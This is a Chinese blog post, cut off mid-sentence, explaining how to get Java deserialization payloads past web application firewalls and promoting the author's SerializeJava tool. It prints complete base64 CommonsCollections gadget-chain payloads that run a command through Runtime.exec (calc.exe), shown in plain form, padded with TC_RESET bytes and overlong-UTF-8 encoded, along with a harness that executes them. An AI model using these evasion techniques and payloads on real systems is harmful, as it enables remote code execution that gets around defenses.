Preview
byname的博客-java反序列化绕waf-tricks及一个gui工具
学过Java,php序列化知识的师傅们都知道,Java的序列化流格式相比于PHP序列化流格式要复杂许多,以至于给你一段Java序列化流文本格式靠去看是完全不知所云的,因为其中充满了各种二进制数据以及复杂的结构,这也一定程度地规范了语法,加强了性能。这也决定了传输一些大数据类型的对象时,JAVA的性能是要好于PHP的。
而探索、比较这两种语言的反序列化绕WAF的"通用型漏洞"时,这两者反序列化的区别也决定了PHP,JAVA在反序列化的"通用型漏洞"漏洞点的不同,如PHP反序列化的漏洞点更多地发生在处理反序列化的方法上,如经典的__wakeup绕过,fast destruct;而JAVA反序列化的漏洞点更多的是由于其复杂的数据结构造成的,所以在Java里更可能通过对其数据流的修改来绕过一些防御机制。
这篇文章收集了一些Java语言反序列化绕WAF的一些技巧,以及介绍其原理。这里只针对通用的JAVA Trick进行总结,如Shiro,其它中间件导致的解析问题这里暂不总结了。(也许还有一些骚姿势没有总结到,后续学到了新的会往这篇文章更新)
SerializeJava--一款集成多种反序列绕WAF功能的GUI工具
https://github.com/byname66/SerializeJava
这是笔者开发的一款go的GUI工具,是一款集成展示JAVA序列化流结构以及集成一键插入脏数据,UTF过长编码绕WAF(Utf OverLoad Encoding),修改类SerializeVersionUID功能的图形化工具。
本文也会使用到它。是我的第一款较大的Go项目,并且也开发了许久,借鉴了P神的Zkar(https://github.com/phith0n/zkar),自写了底层代码并且加了些功能并图形化了,希望师傅们能顺便点点Star ovo,有问题可以联系我,后续学到了新的好用的东西也会在上面更新加功能。
Trick1.插入脏数据绕WAF
插入脏数据一直是WAF对抗里的一步常见的棋,其原理很简单:**一些WAF为了给网站性能让步会限制检测数据的长度,**于是我们可以让攻击载荷长度变长,插入无用的数据。
要点就是两个:1.插入脏数据,2.让服务器能够成功解析我们的语句。
在渗透测试中,对于一些WAF,插入脏数据可以简单暴力地随便搞一个请求参数如get一个a,然后往里面塞脏数据,只要写在我们的执行命令的参数之前便可以达到插入脏数据的效果。
在sql注入中,可以在sql注入语句中加入一段注释比如/*111111111111111*/。
对于Java序列化的数据流,我们可以直接对其数据流进行更改,从而达到插入脏数据的方式。
而在这里又有两种方式可供选择,各有优劣:
1.1 利用可序列化类包裹脏数据和恶意类
在序列化的数据流直接插入脏数据需要考虑的问题便是,如何让Java反序列化端成功解析我们修改后的序列化流。
这里给出的方法便是利用一个可序列化类达到类似这样的效果:
class A{
public string var1 = "aaaaaaaaaaaaaa..."; //垃圾数据
public object var2 = evil_object; //恶意对象
}
再来实例化并序列化对象A
类似的这样既能序列化又能存储对象的类比较容易在集合类中得到应用:
ArrayList
LinkedList
HashMap
LinkedHashMap
TreeMap
……
比如用arrayList来包裹:
List<Object> arrayList = new ArrayList<Object>();
arrayList.add(dirtyData);
arrayList.add(gadget);
new ObjectOutputStream(new FileOutputStream("bypass.ser")).writeObject(arrayList);
这样的方法在脏数据的插入上比较随意,可以插入任意的字符;但相当于多反序列化了两个对象,如果硬是要苛刻地找这个方法的缺点的话,就是不够"优雅"。
1.2 利用序列化流结构-填充TC_RESET
想要理解这个方法,可以先大概对JAVA序列化流的结构有个大概的印象:
官方文档:
Java Object Serialization Specification: 6 - Object Serialization Stream Protocol
网上的详情介绍序列化流结构的文章有很多,这里简单介绍一部分:
stream:
magic version contents
contents:
content
contents content
content:
object
blockdata
object:
newObject
newClass
newArray
newString
newEnum
newClassDesc
prevObject
nullReference
exception
TC_RESET
横向的表示同时包含,纵向的表示只包含一种。
如stream这个序列化流的顶级结构同时包含magic,version,contents。
contents包含一个content或者嵌套的contents+content(可以简单地看成一个content数组)。
而content包含object或者blockdata。object就是包含我们JAVA对象最重要的一个结构。
object结构可能会是一个对象,一个类,一个数组,一个字符串,一个枚举类型...一个TC_RESET。
这个TC_RESET定义为一个byte:
TC_RESET的作用是作为一个标识byte来对反序列化时的handle表进行重置,handle表就是存储序列化流中常常出现的结构"newHandle"的一个表,”newHandle“相当于当前结构一个地址,由一个uint32表示,以便于后续处理能指向这个结构。
我们可以看看在Java反序列化中遇到TC_RESET是怎么处理的:
ObjectInputStream#readObject0:
private Object readObject0(boolean unshared) throws IOException {
boolean oldMode = bin.getBlockDataMode();
if (oldMode) {
int remain = bin.currentBlockRemaining();
if (remain > 0) {
throw new OptionalDataException(remain);
} else if (defaultDataEnd) {
throw new OptionalDataException(true);
}
bin.setBlockDataMode(false);
}
byte tc;
while ((tc = bin.peekByte()) == TC_RESET) { //-------在这里---------
bin.readByte();
handleReset();
} //-------------------------------
depth++;
try {
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}
可见,调用readobject0这个处理序列化结构的方法中,到了读取content这一步,会检测结构中有没有TC_RESET,并且还是循环检测(针对多个content)。如果有,消耗这个TC_RESET,并调用handleReset()来重置handle表。
在这里,我们可以清楚地知道,在序列化流中我们完全可以插入多个TC_RESET的content来进行脏数据的插入,并且反序列化流程也能解析正常。这种插入方式的好处就在于我们把脏数据放在了整个序列化结构的最前面,这样WAF存在长度限制的话,就会被这些前面的数据所消耗资源,而不会检测到后面我们真正承载恶意代码、类的结构。
笔者的SerializeJava工具便可以简单地利用这个功能:
首先输入想要改变的序列化流base64编码或相应文件路径:
这里以CC5的序列化流为例:
进入到Modify STREAM Data模块,check第一个功能,并输入你想要插入的TC_RESET数量.
点击change按钮后便能生成相应的序列化流base64编码。
两者对比:
原始数据:
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAKnQADGNvbS5kZW1vLkNDNXQACENDNS5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXEAfgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHB0AAZrZXlrZXlzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgABeHB2cgARamF2YS5sYW5nLlJ1bnRpbWUAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AAVbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+AC0AAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAtc3EAfgAmdXEAfgAqAAAAAnB1cQB+ACoAAAAAdAAGaW52b2tldXEAfgAtAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AKnNxAH4AJnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+AC0AAAABcQB+ADJzcQB+ACJzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
插入脏数据后(500 TC_RESET):
rO0ABXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5c3IALmphdmF4Lm1hbmFnZW1lbnQuQmFkQXR0cmlidXRlVmFsdWVFeHBFeGNlcHRpb27U59qrYy1GQAIAAUwAA3ZhbHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyABNqYXZhLmxhbmcuRXhjZXB0aW9u0P0fPho7HMQCAAB4cgATamF2YS5sYW5nLlRocm93YWJsZdXGNSc5d7jLAwAETAAFY2F1c2V0ABVMamF2YS9sYW5nL1Rocm93YWJsZTtMAA1kZXRhaWxNZXNzYWdldAASTGphdmEvbGFuZy9TdHJpbmc7WwAKc3RhY2tUcmFjZXQAHltMamF2YS9sYW5nL1N0YWNrVHJhY2VFbGVtZW50O0wAFHN1cHByZXNzZWRFeGNlcHRpb25zdAAQTGphdmEvdXRpbC9MaXN0O3hwcQB+AAhwdXIAHltMamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50OwJGKjw8/SI5AgAAeHAAAAABc3IAG2phdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudGEJxZomNt2FAgAESQAKbGluZU51bWJlckwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFeHAAAAAqdAAMY29tLmRlbW8uQ0M1dAAIQ0M1LmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQABmtleWtleXNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4ALQAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AC1zcQB+ACZ1cQB+ACoAAAACcHVxAH4AKgAAAAB0AAZpbnZva2V1cQB+AC0AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAqc3EAfgAmdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4ALQAAAAFxAH4AMnNxAH4AInNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==
这个方法的缺点就是脏数据的只能插入TC_RESET,插入的种类不够多,如果WAF开发者有足够的意识的话可能会被针对。
1.3 利用序列化结构-array包裹
如果readObject0读到了TC_ARRAY,会调用readArray对数组结构进行解析。
case TC_ARRAY:
return checkResolve(readArray(unshared));
其流程就是通过读取classDesc中的长度,根据这个长度又去读取相应的数据作为数组。所以我们这里可以相应地添加一个TC_ARRAY头,然后把恶意对象放在数组的最后,前面填充脏数据。
这个方法相比于TC_RESET的填充好处自然是插入数据任意,特征性可以不强了。
同样的,SerializeJava也支持这一种填充脏数据的方式。
1.4 其它序列化结构处理导致的脏数据插入
这篇文章总结的比较详细:
Java序列化中的脏数据策略:绕过WAF的战术分析-CSDN博客
不过总结下来还是TC_RESET的插入和利用array的包裹最为好用(一个简单,一个兼容性强)。
Trick2.反序列化UTF解码导致的OverLong Encoding bypass
前置知识
UTF(Unicode Transformation Format)是Unicode的编码形式,Unicode可以简单理解为所有的可见字符,如ascii字符,中文,日文等等。又有多个变种,如UTF-4,UTF-8, UTF-16等等,
师傅们可能有过了解,Java内部(大部分版本)是使用UTF-16编码储存字符等的,但在序列化/反序列化过程中,Java却是使用修改版的UTF-8编码形式进行编码的。
修改版 UTF-8(Modified UTF-8) 是用于 Java 序列化过程中的字符串编码格式,它是 Java 序列化和反序列化时专门为 String 类型设计的一种编码方式。它是基于 UTF-8 编码的,但对 补充字符(即 Unicode 范围 U+10000 到 U+10FFFF 的字符)和 空字符(U+0000) 进行了特殊处理:
空字符(U+0000)在标准 UTF-8 中是一个 1 字节的编码,在修改版 UTF-8 中,它通常表示为 2 字节(0xC0 0x80)。
补充字符(U+10000 及以上)在标准 UTF-8 中是用 4 个字节表示的,但在修改版 UTF-8 中,这些字符通过两个 3 字节的编码(代理对)来表示,保持与 Java char 类型的兼容性。
这些字面内容了解即可,我们可以来看看Java内部反序列化时的具体代码是如何对UTF-8进行"解码"的:
private long readUTFSpan(StringBuilder sbuf, long utflen)
throws IOException
{
.......
try {
while (pos < stop) {
int b1, b2, b3;
b1 = buf[pos++] & 0xFF;
switch (b1 >> 4) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7: // 1 byte format: 0xxxxxxx
cbuf[cpos++] = (char) b1;
break;
case 12:
case 13: // 2 byte format: 110xxxxx 10xxxxxx
b2 = buf[pos++];
if ((b2 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x1F) << 6) |
((b2 & 0x3F) << 0));
break;
case 14: // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx
b3 = buf[pos + 1];
b2 = buf[pos + 0];
pos += 2;
if ((b2 & 0xC0) != 0x80 || (b3 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));
break;
default: // 10xx xxxx, 1111 xxxx
throw new UTFDataFormatException();
}
}
........
可以见得,Java反序列化在UTF"解码"时能采用三种方式:一字节、二字节或者三字节。并按特定的异或算法取得字符。
代入WAF的视角,如果我们要检测一串输入流是否可能是恶意的,当然会对其恶意字符进行入手。比如PHP中,我们常常将eval,exec,system这样的危险函数名给WAF掉。在Java反序列化流中,我们也可能会把恶意类,比如CC中的InvokeTransformedMap,恶意参数,比如getRuntime,exec等进行针对。
如这是CC1链的文本形式:
了解了前置知识,可能就会有一个想法:我们能否利用Java反序列化的UTF解码算法,将数据流中的可见字符,变成相应的二字符甚至是三字符?
在上文给出的Object Serialization Stream Protocol官方文档中,我们可以看到:
className: //类名
(utf)
proxyInterfaceName: //代理接口名
(utf)
fieldName: //变量名
(utf)
newString: //字符串类型(包括变量的值)
TC_STRING newHandle (utf)
TC_LONGSTRING newHandle (long-utf)
这些都是UTF格式,也就意味着最后都会走入反序列化处理UTF的代码逻辑。
那么我们可以写一个脚本,跑出能利用反序列化算法,组成整个ascii字符表的两个byte和三个byte的组合表:
public class test0 {
public static void main(String[] args) {
//两个byte组合:
// for (int ch = 0x20; ch <= 0x7E; ch++) {
// boolean flag=false;
// for (int b1 = 0xC0; b1 <= 0xCF; b1++) {
// for (int b2 = 0x80; b2 <= 0xFF; b2++){
// char generatedChar = (char) (((b1 & 0x1F) << 6) |
// ((b2 & 0x3F) << 0));
// if (generatedChar == ch) {
// System.out.printf("\"%c\": {%#x, %#x},%n", ch, b1, b2);
// flag=true;
// break;
// }
// if(flag){
// break;
// }
// }
// }
// }
//三个byte组合:
for (int ch = 0x20; ch <= 0x7E; ch++) {
boolean flag=false;
for (int b1 = 0xE0; b1 <= 0xEF; b1++) {
for (int b2 = 0x80; b2 <= 0xFF; b2++){
for (int b3 = 0x80; b3 <= 0xFF; b3++) {
char generatedChar = (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));
if (generatedChar == ch) {
System.out.printf("\"%c\": {%#x, %#x, %#x},%n", ch, b1, b2,b3);
flag=true;
break;
}
}
if(flag){
break;
}
}
if(flag){
break;
}
}
}
}}
最后:
" ": {0xc0, 0xa0},
"!": {0xc0, 0xa1},
"\"": {0xc0, 0xa2},
"#": {0xc0, 0xa3},
"$": {0xc0, 0xa4},
"%": {0xc0, 0xa5},
"&": {0xc0, 0xa6},
"'": {0xc0, 0xa7},
....
" ": {0xe0, 0x80, 0xa0},
"!": {0xe0, 0x80, 0xa1},
"\"": {0xe0, 0x80, 0xa2},
"#": {0xe0, 0x80, 0xa3},
"$": {0xe0, 0x80, 0xa4},
"%": {0xe0, 0x80, 0xa5},
"&": {0xe0, 0x80, 0xa6},
"'": {0xe0, 0x80, 0xa7},
....
(在https://github.com/byname66/SerializeJava的/common/model.go中自取)
在SerializeJava中已经从底层实现写了这个功能,这里就直接利用工具生成了:
在UTF OverLong Encoding模块中check后选择用几字符OverLong Encoding的模式,再点击change。
同样是以刚才的CC1为例,这里放上改变后的结果:
可以见得效果确实很好,将之前数据流中可读的字符形式都转变成了两个不可读的字符流,可以有效地bypass掉过滤可读字符的WAF。
并且放入有CC1依赖的反序列化脚本中依然可以执行命令,弹出计算器。
package com.demo;
import java.io.*;
import java.util.Base64;
import java.util.Base64.*;
public class Unser {
public static void main(String[] args) throws IOException, ClassNotFoundException {
readObject("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");
}
public static Object readObject(String payload) throws IOException, ClassNotFoundException {
Base64.Decoder bdec=Base64.getDecoder();
byte[] bytes=bdec.decode(payload);
ObjectInputStream ois=new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
}
这其实也就是OverLong Encoding(过长编码)导致的绕过,大家可以去探索一下其它的漏洞,也有很多UTF OverLong Encoding的身影。
这里提一嘴,其实在RFC 3629标准中出现过,UTF-8的编码中不允许出现以下byte:
